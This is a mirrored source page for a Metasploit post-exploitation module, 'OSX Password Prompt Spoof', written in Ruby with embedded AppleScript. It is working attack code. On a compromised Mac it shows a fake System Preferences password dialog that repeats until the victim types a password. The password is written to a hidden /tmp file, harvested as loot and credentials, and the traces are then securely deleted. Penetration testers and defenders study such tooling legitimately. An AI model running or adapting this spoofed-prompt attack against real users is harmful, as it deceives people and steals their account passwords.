CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/password_prompt_spoof.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'OSX Password Prompt Spoof',
15
'Description' => %q{
16
Presents a password prompt dialog to a logged-in OSX user.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [
20
'Joff Thyer <jsthyer[at]gmail.com>', # original post module
21
'joev', # bug fixes
22
'Peter Toth <globetother[at]gmail.com>' # bug fixes
23
],
24
'Platform' => [ 'osx' ],
25
'References' => [
26
['URL', 'http://blog.packetheader.net/2011/10/fun-with-applescript.html']
27
],
28
'SessionTypes' => [ 'shell', 'meterpreter' ]
29
)
30
)
31
32
register_options([
33
OptString.new(
34
'TEXTCREDS',
35
[
36
true,
37
'Text displayed when asking for password',
38
'Type your password to allow System Preferences to make changes'
39
]
40
),
41
OptString.new(
42
'ICONFILE',
43
[
44
true,
45
'Icon filename relative to bundle',
46
'UserUnknownIcon.icns'
47
]
48
),
49
OptString.new(
50
'BUNDLEPATH',
51
[
52
true,
53
'Path to bundle containing icon',
54
'/System/Library/CoreServices/CoreTypes.bundle'
55
]
56
),
57
OptInt.new('TIMEOUT', [true, 'Timeout for user to enter credentials', 60])
58
])
59
end
60
61
# def cmd_exec(str, args)
62
# print_status "Running cmd '#{str} #{args}'..."
63
# super
64
# end
65
66
# Run Method for when run command is issued
67
def run
68
if client.nil?
69
print_error("Invalid session ID selected. Make sure the host isn't dead.")
70
return
71
end
72
73
host = case session.type
74
when /meterpreter/
75
sysinfo['Computer']
76
when /shell/
77
cmd_exec('/bin/hostname').chomp
78
end
79
80
print_status("Running module against #{host}")
81
82
dir = '/tmp/.' + Rex::Text.rand_text_alpha((rand(6..13)))
83
creds_osa = dir + '/' + Rex::Text.rand_text_alpha((rand(6..13)))
84
pass_file = dir + '/' + Rex::Text.rand_text_alpha((rand(6..13)))
85
86
username = cmd_exec('/usr/bin/whoami').strip
87
cmd_exec('umask 0077')
88
cmd_exec("/bin/mkdir #{dir}")
89
90
# write the credentials script and run
91
write_file(creds_osa, creds_script(pass_file))
92
cmd_exec("osascript #{creds_osa}")
93
94
print_status("Waiting for user '#{username}' to enter credentials...")
95
96
timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i
97
pass_found = false
98
while (::Time.now.to_f < timeout)
99
if file_exist?(pass_file)
100
print_status('Password entered! What a nice compliant user...')
101
pass_found = true
102
break
103
end
104
Rex.sleep(0.5)
105
end
106
107
if pass_found
108
password_data = read_file(pass_file.to_s).strip
109
print_good("password file contents: #{password_data}")
110
passf = store_loot('password', 'text/plain', session, password_data, 'passwd.pwd', 'OSX Password')
111
print_good("Password data stored as loot in: #{passf}")
112
pwd = password_data.split(':', 3)
113
pwd.shift # date
114
pwd.shift # username
115
create_credential({
116
workspace_id: myworkspace_id,
117
post_reference_name: refname,
118
private_data: pwd,
119
origin_type: :session,
120
session_id: session_db_id,
121
private_type: :password,
122
username: username
123
})
124
else
125
print_status('Timeout period expired before credentials were entered!')
126
end
127
128
print_status("Cleaning up files in #{host}: #{dir}")
129
cmd_exec("/usr/bin/srm -rf #{dir}")
130
end
131
132
# applescript that displays the actual password prompt dialog
133
def creds_script(pass_file)
134
textcreds = datastore['TEXTCREDS']
135
ascript = %(
136
set filename to "#{pass_file}"
137
set myprompt to "#{textcreds}"
138
set ans to "Cancel"
139
repeat
140
try
141
set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"
142
set ans to button returned of d_returns
143
set mypass to text returned of d_returns
144
if ans is equal to "OK" and mypass is not equal to "" then exit repeat
145
end try
146
end repeat
147
try
148
set now to do shell script "date '+%Y%m%d_%H%M%S'"
149
set user to do shell script "whoami"
150
set myfile to open for access filename with write permission
151
set outstr to now & ":" & user & ":" & mypass & "
152
"
153
write outstr to myfile starting at eof
154
close access myfile
155
on error
156
try
157
close access myfile
158
end try
159
end try
160
)
161
end
162
163
# Checks if the target is OSX Server
164
def check_server
165
cmd_exec('/usr/bin/sw_vers -productName').chomp =~ /Server/
166
end
167
168
# Enumerate the OS Version
169
def get_ver
170
# Get the OS Version
171
cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp
172
end
173
end
174
175